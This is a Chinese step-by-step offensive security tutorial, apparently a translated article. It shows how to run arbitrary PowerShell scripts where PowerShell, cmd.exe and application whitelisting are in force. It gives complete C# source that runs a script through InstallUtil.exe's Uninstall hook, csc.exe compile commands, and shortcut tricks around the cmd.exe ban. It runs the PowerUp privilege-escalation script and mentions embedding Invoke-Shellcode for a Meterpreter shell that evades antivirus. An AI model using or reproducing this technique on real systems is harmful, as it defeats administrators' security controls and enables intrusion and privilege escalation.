禁用了PowerShell又如何?看我如何用PowerShell绕过应用白名单、环境限制、以及杀毒软件

温故而知新

在之前的文章中,我们讨论了如何通过Casey Smith(@ subTee)设计出的方法来绕过反病毒软件和应用白名单。这一次,我们的测试条件将变得更为苛刻。用于测试的目标系统中不仅设置有反病毒软件和应用白名单,而且还禁用了PowerShell和命令行工具(cmd.exe)。在测试的过程中,我们也遇到了各种各样的问题,我们将在这篇文章中讨论这些问题和测试过程中所发生的意外情况。

现在,越来越多的公司开始逐渐意识到,普通用户其实根本就不需要使用命令行工具(cmd.exe)、PowerShell、以及其他一些看起来比较高大上的工具。我们也发现,禁用这些高级工具也是保护系统安全的一种非常好的实践方法。

如果你看过我们出的《Sacred Cash Cow Tipping》系列视频,那么你应该还记得我当时设计出了一种能够在C#程序中执行Invoke-Shellcode.ps1文件的方法。实际上,你只需要直接将这个Invoke-Shellcode.ps1文件中的代码全部放在一行,然后将该文件的所有内容嵌入到C#程序的一个字符串变量中就可以了。你将会得到一个独立的可执行文件,它可以生成一个Meterpreter Shell,并且可以绕过目前绝大多数的反病毒产品。

写在前面的话

那么,刚才所介绍的那些内容与我们这篇文章有半毛钱关系吗?当然有了,不然我 介绍来干嘛。实际上,我们只需要将刚才这一概念稍微扩展一下,就可以轻松地在一个禁用了PowerShell的环境中执行任意的PowerShell脚本了。 poc 我们应该怎么做呢?从本质上来讲,C#和PowerShell其实都是运行在.Net框架之上的高级实现。这也就意味着,我们可以通过C#可执行程序直接调用.Net框架开放给PowerShell的那部分功能。如果你愿意的话,你可以编写一个C#程序,然后用它来实现PowerShell脚本的所有功能。

少说话,多做事

准备工作已经做得差不多了,让我们开始动手实现吧!首先,在你的Windows桌面上用记事本创建一个新的文本文件,然后将其重命名为Program.cs。好吧..其实随便你取什么名字都可以,这只是个不成熟的小建议。创建完成之后,用NotePad++之类的文本编辑器打开它。现在,我们需要在文件的顶部写入下列声明语句,并引入我们所要使用到的某些功能:

using System;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Management.Automation.Runspaces;

为了确保我们的程序能够编译成功,我们还需要定义一个类,并在这个类中添加一个Main()方法。通常情况下,我们的程序都会从这个Main()函数那里开始执行。需要注意的是,这个类的类名必须与我们的文件名(Program.cs)相同。将下列代码添加到资源声明语句的下方:

public class Program
 {
    public static void Main()
    {
    }
 }

接下来,我们要定义程序真正的入口函数了。请注意,我们需要使用InstallUtil.exe工具来运行我们的程序,而不是直接用鼠标左键双击运行。我就不卖关子了,正是这一技巧将帮助我们绕过应用白名单的限制。

为了完成我们的目标,我定义了一个名为“Sample”的类,并让它继承Installer类。然后,我还声明了一个名为“Uninstall”的方法,这个方法就是我们程序真正的入口函数。所以,我们的程序所要执行的第一个任务就是调用这个名为“Exec”的方法(Exec()是Mycode类中的一个方法)。除此之外,我们还要在这个类的上方添加一条声明语句,用来表示这个类需要在程序的安装过程中被调用执行。在Program.cs文件的底部添加下列代码:

[System.ComponentModel.RunInstaller(true)]
 public class Sample : System.Configuration.Install.Installer
 {
 public override void Uninstall(System.Collections.IDictionary savedState)
 {
 Mycode.Exec();
 }
 }

我们所要写的最后一部分代码就是去定义一个Mycode类,然后在这个类中添加一个名为“Exec”的方法。这个方法可以根据用户提供的文件路径读入一个PowerShell脚本,脚本路径定义在符号@“”的双引号之中。在我的测试环境中,我的PowerShell脚本存储路径为“C:\Users\fmc\Desktop\PowerUp.ps1”,接下来的代码用来设置PowerShell脚本在执行过程中所要使用到的变量和参数。

最后,在pipeline.Invoke()函数被调用之后,也就意味着我们的PowerShell脚本被执行了。将下列代码添加到Program.cs文件的末尾处:

public class Mycode
 {
 public static void Exec()
 {
 string command = System.IO.File.ReadAllText(@"C:\Users\fmc\Desktop\PowerUp.ps1");
 RunspaceConfiguration rspacecfg = RunspaceConfiguration.Create();
 Runspace rspace = RunspaceFactory.CreateRunspace(rspacecfg);
 rspace.Open();
 Pipeline pipeline = rspace.CreatePipeline();
 pipeline.Commands.AddScript(command);
 pipeline.Invoke();
 }
 }

Program.cs文件完整的代码如下所示:

using System;
 using System.Configuration.Install;
 using System.Runtime.InteropServices;
 using System.Management.Automation.Runspaces;
 public class Program
 {
 public static void Main()
 {
 }
 }
 [System.ComponentModel.RunInstaller(true)]
 public class Sample : System.Configuration.Install.Installer
 {
 public override void Uninstall(System.Collections.IDictionary savedState)
 {
 Mycode.Exec();
 }
 }
 public class Mycode
 {
 public static void Exec()
 {
 string command = System.IO.File.ReadAllText(@"C:\Users\fmc\Desktop\PowerUp.ps1");
 RunspaceConfiguration rspacecfg = RunspaceConfiguration.Create();
 Runspace rspace = RunspaceFactory.CreateRunspace(rspacecfg);
 rspace.Open();
 Pipeline pipeline = rspace.CreatePipeline();
 pipeline.Commands.AddScript(command);
 pipeline.Invoke();
 }
 }

在这个例子中,我使用到了Veil-Framework的PowerUp脚本,你可以在PowerShell的命令行工具中执行下列命令,然后将运行结果保存到一个文件中:

Import-Module PowerUp.ps1
Invoke-AllChecks -Verbose | Out-File C:\Users\fmc\Desktop\allchecks.txt

为了保证这个方法能够正确地调用我们所需的函数,我们还需要在脚本的末尾调用一个显式函数。打开PowerUp.ps1脚本,然后在脚本文件的底部添加下列函数调用语句,请一定要确保语句中的Out-File参数设置正确。保存文件,并退出编辑器。

Invoke-AllChecks -Verbose | Out-File C:\Users\fmc\Desktop\allchecks.txt

poc

现在,我们需要使用csc.exe工具来对我们的程序进行编译。下面这段命令可以编译我们的Program.cs文件,并生成一个名为“powerup.exe”的可执行文件:

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
/r:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0_
31bf3856ad364e35\System.Management.Automation.dll /unsafe /platform:anycpu
/out:C:\Users\fmc\Desktop\powerup.exe C:\Users\fmc\Desktop\Program.cs

请等一下,不是说好了cmd.exe已经被禁用了吗?别担心,打开你的资源管理器,然后切换到下面这个目录:

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\

鼠标右键点击csc.exe程序,然后在弹出菜单中选择“创建快捷方式”。点击之后,系统会弹出一个提示框,提示信息会告诉你不能在这里创建快捷方式,如果你一定要的话,系统可以帮你在桌面创建一个快捷方式。 poc http://p8.qhimg.com/t01a979d6b8462cc709.png 现在,请回到系统桌面。鼠标右键点击csc.exe程序的快捷方式,然后在菜单中选择“属性”。 poc 在属性窗口的“快捷方式”那一栏中,用下列信息替换掉“目标(T)”中的全部内容(请确保文件名和其他的信息是正确的):

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
/r:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0_
31bf3856ad364e35\System.Management.Automation.dll /unsafe /platform:anycpu
/out:C:\Users\fmc\Desktop\powerup.exe

设置完成之后,点击“应用”,然后关闭“属性”窗口。我们刚刚所做的就是设置csc.exe运行时所需的参数。我们在这里之所以没有设置Program.cs程序的文件路径,主要是因为如下两个原因:(1)主要原因是“目标(T)”这一栏有最大字符数量的限制,如果我们将Program.cs文件的完整路径添加进去的话,肯定会超过其所能接受的最大字符长度;(2)我们可以直接将Program.cs文件拖拽到csc.exe快捷方式上,csc.exe程序将会自动加载Program.cs文件。 poc 现在,直接将我们的Program.cs文件拖拽到桌面的csc.exe图标上,程序会自动编译该文件。如果不出什么意外的话,桌面上应该会出现一个名为“powerup.exe”的文件。那么恭喜你,即便是在不使用命令行工具或者Visual Studio的情况下,你依然成功地编译好了一个C#程序了! poc 最后,我们需要使用InstallUtil.exe来运行我们的程序,这一步骤与csc.exe程序的使用方法差不多。切换到下面这个目录:

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\

其他步骤基本相同,但是请注意,InstallUtil.exe快捷方式中的“目标(T)”这一栏数据需要用下列信息替换:

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe
/logfile=C:\Users\fmc\Desktop\log.txt /LogToConsole=false /U

点击“应用”,然后关闭窗口。 poc 请回到桌面,将powerup.exe程序拖到InstallUtil程序的快捷方式上。 poc 现在,当脚本开始运行后,屏幕上应该会显示一个命令行界面。但是,当你打开任务管理器之后,你就会发现cmd.exe并不在当前运行的进程列表中,列表中只有一个InstallUtil.exe。 poc) poc 我们可以在命令行工具中输入下列命令来确认进程信息:

wmic process list full > Desktop\save.txt

poc 在对“wmic”命令的输出数据进行了分析之后,我们发现InstallUtil.exe其实是通过explorer.exe调用的,而并非是cmd.exe。 poc poc 如果不出意外的话,当脚本执行完毕后,你的桌面上将会出现一个名为“allchecks.txt”的文件,打开文件你就可以看到PowerUp.ps1的输出信息了。 poc poc

总结

在这篇文章中,我介绍了一种能够在启用了应用白名单,并且禁用了powershell.exe和cmd.exe的环境下执行PowerShell脚本的方法。但是,在实际的使用过程中,你还应该注意以下几点:
1.确保你的脚本没有使用Write-Host;
2.这种方法有可能会导致程序发生崩溃;
3.建议使用Write-Output或者Out-File;
4.如果你的脚本需要用户交互的话,建议使用-Force选项;

以上就是我们今天的全部内容,不知道大家是否满意呢?提醒大家一下,这种方法同样可以用来绕过反病毒软件,我们将会在下一期的教程中一步一步教大家如何操作,请大家持续关注安全客!

results matching ""

    No results matching ""